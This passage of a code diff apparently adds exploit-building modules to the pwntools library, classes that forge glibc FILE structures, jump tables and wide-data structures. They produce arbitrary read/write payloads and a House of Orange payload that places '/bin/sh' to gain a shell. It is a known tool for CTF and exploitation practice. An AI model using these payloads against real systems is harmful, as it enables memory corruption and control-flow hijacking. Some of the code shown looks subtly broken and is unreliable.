+b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00' + +Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe + +Currently only 'amd64' and 'i386' architectures are supported +""" + +from __future__ import absolute_import +from __future__ import division + +from pwnlib.context import context +from pwnlib.log import getLogger +from pwnlib.util.misc import python_2_bytes_compatible +from pwnlib.util.packing import pack, _need_bytes + +log = getLogger(__name__) + +length = 0 +size = 'size' +name = 'name' + +variables={ + 0: {name: 'flags', size: length}, + 1: {name: '_IO_read_ptr', size: length}, + 2: {name: '_IO_read_end', size: length}, + 3: {name: '_IO_read_base', size: length}, + 4: {name: '_IO_write_base', size: length}, + 5: {name: '_IO_write_ptr', size: length}, + 6: {name: '_IO_write_end', size: length}, + 7: {name: '_IO_buf_base', size: length}, + 8: {name: '_IO_buf_end', size: length}, + 9: {name: '_IO_save_base', size: length}, + 10: {name: '_IO_backup_base', size: length}, + 11: {name: '_IO_save_end', size: length}, + 12: {name: 'markers', size: length}, + 13: {name: 'chain', size: length}, + 14: {name: 'fileno', size: 4}, + 15: {name: '_flags2', size: 4}, + 16: {name: '_old_offset', size: length}, + 17: {name: '_cur_column', size: 2}, + 18: {name: '_vtable_offset', size: 1}, + 19: {name: '_shortbuf', size: 1}, + 20: {name: 'unknown1', size: -4}, + 21: {name: '_lock', size: length}, + 22: {name: '_offset', size: 8}, + 23: {name: '_codecvt', size: length}, + 24: {name: '_wide_data', size: length}, + 25: {name: 'unknown2', size: length}, + 26: {name: 'vtable', size: length} +} + +del name, size, length + + +def update_var(l: int) -> dict[str, int]: + r""" + Since different members of the file structure have different sizes, + we need to keep track of the sizes. The following function is used + by the FileStructure class to initialise the lengths of the various fields. + + Arguments: + l(int) + l=8 for 'amd64' architecture and l=4 for 'i386' architecture + + Return Value: + Returns a dictionary in which each field is mapped to its corresponding + length according to the architecture set + + Examples: + + >>> update_var(8) + {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8} + """ + var = {} + for i in variables: + var[variables[i]['name']] = variables[i]['size'] + for i in var: + if var[i] <= 0: + var[i] += l + if l == 4: + var['unknown2'] = 56 + else: + var['unknown2'] = 48 + return var + + +class FileStructure(object): + r""" + Crafts a FILE structure, with default values for some fields, like _lock + which should point to null ideally, set. + + Arguments: + null(int) + A pointer to NULL value in memory. This pointer can lie in any + segment (stack, heap, bss, libc etc) + + Examples: + + FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end + pointing to 0xcafebabe and 0xfacef00d + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(null=0xdeadbeeef) + >>> fileStr.flags = 0xfbad1807 + >>> fileStr._IO_buf_base = 0xcafebabe + >>> fileStr._IO_buf_end = 0xfacef00d + >>> payload = bytes(fileStr) + >>> payload + b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + + Check the length of the FileStructure + + >>> len(fileStr) + 224 + + The definition for __repr__ orders the structure members and displays + then in a dictionary format. It's useful when viewing a structure + object in python/IPython shell. + + >>> q=FileStructure(0xdeadbeef) + >>> q + { flags: 0x0 + _IO_read_ptr: 0x0 + _IO_read_end: 0x0 + _IO_read_base: 0x0 + _IO_write_base: 0x0 + _IO_write_ptr: 0x0 + _IO_write_end: 0x0 + _IO_buf_base: 0x0 + _IO_buf_end: 0x0 + _IO_save_base: 0x0 + _IO_backup_base: 0x0 + _IO_save_end: 0x0 + markers: 0x0 + chain: 0x0 + fileno: 0x0 + _flags2: 0x0 + _old_offset: 0xffffffffffffffff + _cur_column: 0x0 + _vtable_offset: 0x0 + _shortbuf: 0x0 + unknown1: 0x0 + _lock: 0xdeadbeef + _offset: 0xffffffffffffffff + _codecvt: 0x0 + _wide_data: 0xdeadbeef + unknown2: 0x0 + vtable: 0x0} + """ + + vars_=[] + length={} + + def __init__(self, null: int=0): + self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())] + self.length = update_var(context.bytes) + self.setdefault(null) + self._old_offset = (1 << context.bits) - 1 + + def __setattr__(self, item: str, value: int | bytes | str): + if item in self._vars: + maxsize = self.length[item] + if isinstance(value, int): + if value < 0 or value >= (1 << maxsize): + log.error(f"Out of bounds for {item}: expect item size {maxsize}, but get {value}") + elif isinstance(value, (str, bytes)): + value = _need_bytes(value) + if len(value) > maxsize: + log.error(f"Value too large for {item}: expect item size {maxsize}, but get {len(value)}") + elif hasattr(value, '__bytes__') is False: + log.error(f"Unable to cast {item} to bytes") + # if value can cast to bytes, we don't check its size here + # as it may be mutable + object.__setattr__(self, item, value) + elif item in FileStructure.__dict__: + object.__setattr__(self, item, value) + else: + log.error(f"Unknown variable {item}") + + def __repr__(self) -> str: + structure = [] + for i in self.vars_: + e = getattr(self, i) + if isinstance(e, bytes): + structure.append(f" {i}, {e}") + elif isinstance(e, int): + structure.append(f" {i}, {e:#x}") + else: + structure.append(f" {i}, {bytes(e)}") + return "{"+ "\n".join(structure)+"}" + + def __len__(self) -> int: + return len(bytes(self)) + + def __bytes__(self) -> bytes: + structure = bytearray() + for val in self.vars_: + if self.length[val] > 0: + value = getattr(self, val) + if isinstance(value, int): + structure.append(pack(value, self.length[val] * 8)) + elif isinstance(value, bytes): + structure.append(value.ljust(self.length[val], b'\x00')) + else: + cast = bytes(value) + if len(cast) > self.length[val]: + log.error(f"Unable to fit {value} as it's larger than {self.length[val]}") + structure.append(cast.ljust(self.length[val], b'\x00')) + return bytes(structure) + + def struntil(self, v) -> str: + r""" + Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well. + + Arguments: + v(str) + The name of the field uptil which the payload should be created. + + Example: + + Payload for data uptil _IO_buf_end + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(0xdeadbeef) + >>> payload = fileStr.struntil("_IO_buf_end") + >>> payload + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + """ + if v not in self.vars_: + return b'' + structure = bytearray() + for val in self.vars_: + if self.length[val] > 0: + value = getattr(self, val) + if isinstance(value, int): + structure.append(pack(value, self.length[val] * 8)) + elif isinstance(value, bytes): + structure.append(value.ljust(self.length[val], b'\x00')) + else: + cast = bytes(value) + if len(cast) > self.length[val]: + log.error(f"Unable to fit {value} as it's larger than {self.length[val]}") + structure.append(cast.ljust(self.length[val], b'\x00')) + if val == v: + break + return bytes(structure)[:-1] + + def setdefault(self, null: int): + self.flags = 0 + self._IO_read_ptr = 0 + self._IO_read_end = 0 + self._IO_read_base = 0 + self._IO_write_base = 0 + self._IO_write_ptr = 0 + self._IO_write_end = 0 + self._IO_buf_base = 0 + self._IO_buf_end = 0 + self._IO_save_base = 0 + self._IO_backup_base = 0 + self._IO_save_end = 0 + self.markers = 0 + self.chain = 0 + self.fileno = 0 + self._flags2 = 0 + self._old_offset = 0 + self._cur_column = 0 + self._vtable_offset = 0 + self._shortbuf = 0 + self.unknown1 = 0 + self._lock = null + self._offset = 0xffffffffffffffff + self._codecvt = 0 + self._wide_data = null + self.unknown2 = 0 + self.vtable = 0 + + def write(self, addr: int=0, size: int=0) -> bytes: + r""" + Writing data out from arbitrary memory address. + + Arguments: + addr(int) + The address from which data is to be printed to stdout + size(int) + The size, in bytes, of the data to be printed + + Example: + + Payload for writing 100 bytes to stdout from the address 0xcafebabe + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(0xdeadbeef) + >>> payload = fileStr.write(addr=0xcafebabe, size=100) + >>> payload + b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00' + """ + self.flags &= ~8 + self.flags |= 0x800 + self._IO_write_base = addr + self._IO_write_ptr = addr + size + self._IO_read_end = addr + self.fileno = 1 + return self.struntil('fileno') + + def read(self, addr: int=0, size: int=0) -> bytes: + r""" + Reading data into arbitrary memory location. + + Arguments: + addr(int) + The address into which data is to be written from stdin + size(int) + The size, in bytes, of the data to be written + + Example: + + Payload for reading 100 bytes from stdin into the address 0xcafebabe + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(0xdeadbeef) + >>> payload = fileStr.read(addr=0xcafebabe, size=100) + >>> payload + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + """ + self.flags &= ~4 + self._IO_read_base = 0 + self._IO_read_ptr = 0 + self._IO_buf_base = addr + self._IO_buf_end = addr + size + self.fileno = 0 + return self.struntil('fileno') + + def orange(self, io_list_all: int, vtable: int) -> bytes: + r""" + Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c), provided you have libc leaks. + + Arguments: + io_list_all(int) + Address of _IO_list_all in libc. + vtable(int) + Address of the fake vtable in memory + + Example: + + Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe - + + >>> context.clear(arch='amd64') + >>> fileStr = FileStructure(0xdeadbeef) + >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe) + >>> payload + b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00' + """ + if context.bits == 64: + self.flags = b'/bin/sh\x00' + self._IO_read_ptr = 0x61 + self._IO_read_base = io_list_all - 0x10 + elif context.bits == 32: + self.flags = b'sh\x00' + self._IO_read_ptr = 0x121 + self._IO_read_base = io_list_all - 0x8 + self._IO_write_base = 0 + self._IO_write_ptr = 1 + self.vtable = vtable + return self.__bytes__() diff --git a/pwnlib/structs/jumptable.py b/pwnlib/structs/jumptable.py new file mode 100644 index 000000000..8e2833049 --- /dev/null +++ b/pwnlib/structs/jumptable.py @@ -0,0 +1,207 @@ +# -*- coding: utf-8 -*- + +r""" +Jump Table in File + +In FILE there is a jump table indicates where functions like ``read`` and ``write`` are. +In some FILE exploitations, forced jump table is needed to hijack the control flow. +For example, in **House of Apple**, one of the paths is ``exit -> fcloseall -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wstrn_overflow`` + +Like FileStructure, this file helps you to create exploitation gracefully. + +Currently only 'amd64' and 'i386' architectures are supported +""" + +from __future__ import absolute_import +from __future__ import division + +from pwnlib.context import context +from pwnlib.log import getLogger +from pwnlib.util.misc import python_2_bytes_compatible +from pwnlib.util.packing import pack + +log = getLogger(__name__) + +class JumpTable(object): + r""" + Crafts a Jump Table, with all fields are set to 0. + + Examples: + + Jump Table with _doallocate is set to 0x7f34df678f7a + + >>> context.clear(arch='amd64') + >>> jmpTable = JumpTable() + >>> jmpTable._doallocate = 0x7f34df678f7a + >>> payload = bytes(jmpTable) + >>> payload + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00z\x8fg\xdf4\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + + Check the length of the JumpTable + + >>> len(jmpTable) + 168 + + The definition for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell + + >>> jmpTable + { _dummy: 0x0 + _dummy2: 0x0 + _finish: 0x0 + _overflow: 0x0 + _underflow: 0x0 + _uflow: 0x0 + _pbackfail: 0x0 + _xsputn: 0x0 + _xsgetn: 0x0 + _seekoff: 0x0 + _seekpos: 0x0 + _setbuf: 0x0 + _sync: 0x0 + _doallocate: 0x7f34df678f7a + _read: 0x0 + _write: 0x0 + _seek: 0x0 + _close: 0x0 + _stat: 0x0 + _showmanyc: 0x0 + _imbue: 0x0} + """ + + vars_=[] + length={} + + __length=0 + size='size' + name='name' + + variables={ + 0:{name:'_dummy',size:__length}, + 1:{name:'_dummy2',size:__length}, + 2:{name:'_finish',size:__length}, + 3:{name:'_overflow',size:__length}, + 4:{name:'_underflow',size:__length}, + 5:{name:'_uflow',size:__length}, + 6:{name:'_pbackfail',size:__length}, + 7:{name:'_xsputn',size:__length}, + 8:{name:'_xsgetn',size:__length}, + 9:{name:'_seekoff',size:__length}, + 10:{name:'_seekpos',size:__length}, + 11:{name:'_setbuf',size:__length}, + 12:{name:'_sync',size:__length}, + 13:{name:'_doallocate',size:__length}, + 14:{name:'_read',size:__length}, + 15:{name:'_write',size:__length}, + 16:{name:'_seek',size:__length}, + 17:{name:'_close',size:__length}, + 18:{name:'_stat',size:__length}, + 19:{name:'_showmanyc',size:__length}, + 20:{name:'_imbue',size:__length} + } + + del name, size, __length + + + def update_var(self, l): + r""" + Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields. + + Arguments: + l(int) + l=8 for 'amd64' architecture and l=4 for 'i386' architecture + + Return Value: + Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set + + Examples: + + >>> table = JumpTable() + >>> table.update_var(8) + {'_dummy': 8, '_dummy2': 8, '_finish': 8, '_overflow': 8, '_underflow': 8, '_uflow': 8, '_pbackfail': 8, '_xsputn': 8, '_xsgetn': 8, '_seekoff': 8, '_seekpos': 8, '_setbuf': 8, '_sync': 8, '_doallocate': 8, '_read': 8, '_write': 8, '_seek': 8, '_close': 8, '_stat': 8, '_showmanyc': 8, '_imbue': 8} + """ + var={} + for i in self.variables: + var[self.variables[i]['name']]=self.variables[i]['size'] + for i in var: + if var[i]<=0: + var[i]+=l + return var + + def __init__(self): + self.vars_ = [self.variables[i]['name'] for i in sorted(self.variables.keys())] + self.setdefault() + self.length = self.update_var(context.bytes) + + def __setattr__(self,item,value): + if item in JumpTable.__dict__ or item in self.vars_: + object.__setattr__(self,item,value) + else: + log.error("Unknown variable %r" % item) + + def __repr__(self): + structure=[] + for i in self.vars_: + e = getattr(self, i) + if isinstance(e, bytes): + structure.append(" %s: %s" % (i, e)) + else: + structure.append(" %s: %#x" % (i, e)) + return "{"+ "\n".join(structure)+"}" + + def __len__(self): + return len(bytes(self)) + + def __bytes__(self): + structure = b'' + for val in self.vars_: + if isinstance(getattr(self, val), bytes): + structure += getattr(self, val).ljust(context.bytes, b'\x00') + else: + if self.length[val] > 0: + structure += pack(getattr(self, val), self.length[val]*8) + return structure + + def struntil(self,v): + r""" + Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well. + + Arguments: + v(string) + The name of the field uptil which the payload should be created. + + Usage is just like the same function in FileStructure. Check it out if you need an example. + """ + if v not in self.vars_: + return b'' + structure = b'' + for val in self.vars_: + if isinstance(getattr(self, val), bytes): + structure += getattr(self, val).ljust(context.bytes, b'\x00') + else: + structure += pack(getattr(self, val), self.length[val]*8) + if val == v: + break + return structure[:-1] + + def setdefault(self): + self._dummy = 0 + self._dummy2 = 0 + self._finish = 0 + self._overflow = 0 + self._underflow = 0 + self._uflow = 0 + self._pbackfail = 0 + self._xsputn = 0 + self._xsgetn = 0 + self._seekoff = 0 + self._seekpos = 0 + self._setbuf = 0 + self._sync = 0 + self._doallocate = 0 + self._read = 0 + self._write = 0 + self._seek = 0 + self._close = 0 + self._stat = 0 + self._showmanyc = 0 + self._imbue = 0 diff --git a/pwnlib/structs/widedata.py b/pwnlib/structs/widedata.py new file mode 100644 index 000000000..645266d9c --- /dev/null +++ b/pwnlib/structs/widedata.py @@ -0,0 +1,176 @@ +# -*- coding: utf-8 -*- + +r""" +Wide Data Exploitation + +Like FILE, IO_wide_file is a struct which deals ``wchar_t`` data. +Later glibc protects FILE by checking the jump table pointer, so it becomes harder to +exploit normal FILE. In newer exploitations like **House of Apple**, due to jump table +in wide data is not checked, so we can construct a fake WideData to exploit. + +Remembering the offsets of various structure members while faking a WideData structure can be difficult, +so this python class helps you with that. Example- + +>>> context.clear(arch='amd64') +>>> wide = WideData(0xdeadbeef) +>>> wide._IO_write_base = 0xcafebabe +>>> payload = bytes(wide) +>>> payload +b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00' + +Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe + +Currently only 'amd64' and 'i386' architectures are supported +""" + +from __future__ import absolute_import +from __future__ import division + +from pwnlib.context import context +from pwnlib.log import getLogger +from pwnlib.util.misc import python_2_bytes_compatible +from pwnlib.util.packing import pack +from pwnlib.structs import struct_attr, struct_attr_list + +log = getLogger(__name__) + +class WideData(object): + r""" + Crafts a WideData structure, with all fields are set to 0, except _wide_vtable set to specified "null". + + Arguments: + null(int) + A pointer to NULL value in memory (_wide_vtable). This pointer can lie in any segment (stack, heap, bss, libc etc) + + Examples: + + WideData structure with _wide_vtable set to 0x555555553470 + + >>> context.clear(arch='amd64') + >>> wdata = WideData(0x555555553470) + + Check the length of the WideData + + >>> len(wdata) + 228 + + The definition for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell + + >>> wide = WideData(0xdeadbeef) + >>> wide + { _IO_read_ptr: 0x0 + _IO_read_end: 0x0 + _IO_read_base: 0x0 + _IO_write_base: 0x0 + _IO_write_ptr: 0x0 + _IO_write_end: 0x0 + _IO_buf_base: 0x0 + _IO_buf_end: 0x0 + _IO_save_base: 0x0 + _IO_backup_base: 0x0 + _IO_save_end: 0x0 + _IO_state: 0x0 + _IO_last_state: 0x0 + _codecvt: 0x0 + _shortbuf: 0x0 + _wide_vtable: 0xdeadbeef} + """ + + VARIABLES = ( + struct_attr('_IO_read_ptr', 0, 8, 0, 4), + struct_attr('_IO_read_end', 8, 8, 4, 4), + struct_attr('_IO_read_base', 0x10, 8, 0x8, 4), + struct_attr('_IO_write_base', 0x18, 8, 0xc, 4), + struct_attr('_IO_write_ptr', 0x20, 8, 0x10, 4), + struct_attr('_IO_write_end', 0x28, 8, 0x14, 4), + struct_attr('_IO_buf_base', 0x30, 8, 0x18, 4), + struct_attr('_IO_buf_end', 0x38, 8, 0x1c, 4), + struct_attr('_IO_save_base', 0x40, 8, 0x20, 4), + struct_attr('_IO_backup_base', 0x48, 8, 0x24, 4), + struct_attr('_IO_save_end', 0x50, 8, 0x28, 4), + struct_attr('_IO_state', 0x58, 8, 0x2c, 8), + struct_attr('_IO_last_state', 0x60, 8, 0x34, 8), + struct_attr('_codecvt', 0x68, 0x70, 0x3c, 0x48), + struct_attr('_shortbuf', 0xd8, 4, 0x84, 4), + struct_attr('_wide_vtable', 0xe0, 8, 0x88, 4), + ) + + def __init__(self, null=0): + self.vars_ = struct_attr_list(self.VARIABLES, context.bits == 32, log) + self.setdefault(null) + + def __setattr__(self, item: str, value: any): + if not self.vars_.check_attr(item, value) and item not in WideData.__dict__: + log.error(f"Unknown variable {item}") + object.__setattr__(self, item, value) + + def __repr__(self): + structure=[] + for i in self.vars_: + e = getattr(self, i) + if isinstance(e, bytes): + structure.append(" %s: %s" % (i, e)) + else: + structure.append(" %s: %#x" % (i, e)) + return "{"+ "\n".join(structure)+"}" + + def __len__(self): + return len(bytes(self)) + + def __bytes__(self): + structure = b'' + for val in self.vars_: + if isinstance(getattr(self, val), bytes): + structure += getattr(self, val).ljust(self.length[val], b'\x00') + else: + structure += pack(getattr(self, val), self.length[val]*8) + return structure + + def struntil(self,v): + r""" + Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well. + + Arguments: + v(string) + The name of the field uptil which the payload should be created. + + Example: + + Payload for data uptil _IO_buf_end + + >>> context.clear(arch='amd64') + >>> wide = WideData(0xdeadbeef) + >>> payload = wide.struntil('_IO_buf_base') + >>> payload + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + """ + if v not in self.vars_: + return b'' + structure = b'' + for val in self.vars_: + if isinstance(getattr(self, val), bytes): + structure += getattr(self, val).ljust(self.length[val], b'\x00') + else: + structure += pack(getattr(self, val), self.length[val]*8) + if val == v: + break + return structure[:-1] + + def setdefault(self,null): + self._IO_read_ptr = 0 + self._IO_read_end = 0 + self._IO_read_base = 0 + self._IO_write_base = 0 + self._IO_write_ptr = 0 + self._IO_write_end = 0 + self._IO_buf_base = 0 + self._IO_buf_end = 0 + self._IO_save_base = 0 + self._IO_backup_base = 0 + self._IO_save_end = 0 + self._IO_state = 0 + self._IO_last_state = 0 + self._codecvt = 0 + self._shortbuf = 0 + self._wide_vtable = null + diff --git a/pwnlib/util/packing.py b/pwnlib/util/packing.py index 1886da2b6..13016f8da 100644 --- a/pwnlib/util/packing.py +++ b/pwnlib/util/packing.py @@ -1225,3 +1225,56 @@ def _decode(b): del op, size, end, sign del name, routine, mod + +def overlap_structure(*structs): + r"""overlap_structure(*structs: tuple[bytes_like]) -> bytes + + Unpacks bytes_like structures and overlap them up. Check the example + below for more detail. + + Parameters: + structs: ``str``, ``bytes`` and ``list[int]`` are all acceptable, + as long as the argument is "len-able", iterable and serving ints. + Note ``str`` will be used as ``bytes`` object. + + Raises: + ValueError: 2 non-zero values on the same index. Carry `msg` of + conflicted indexes. + + Returns: + A bytes object with overlapped structure, whose length is the max length + in ``structs``. If there is only one argument, itself will be returned, + no matter what it is. + + Examples: + + >>> x = p32(0x7ffffe30) + >>> y = [0, 0, 0, 0, 33, 34, 35, 36] + >>> overlap_structure(x, y) + b'0\xfe\xff\x7f!"#$' + >>> z = p32(0xbeef) + >>> overlap_structure(x, y, z) + Traceback (most recent call last): + ... + ValueError: Conflict values at index 0, 1 + """ + if len(structs) == 1: + return structs[0] + + # convert str to bytes first to calc accurate length + itr = [_need_bytes(s) if isinstance(s, str) else s for s in structs] + maxlen = max(len(e) for e in itr) + final = bytearray(maxlen) + errs = set() + + for s in itr: + for i, e in enumerate(s): + if e > 0: + if final[i]: + errs.add(i) + final[i] = e + + if errs: + raise ValueError('Conflict values at index %s' % str(errs)[1:-1]) + return bytes(final) +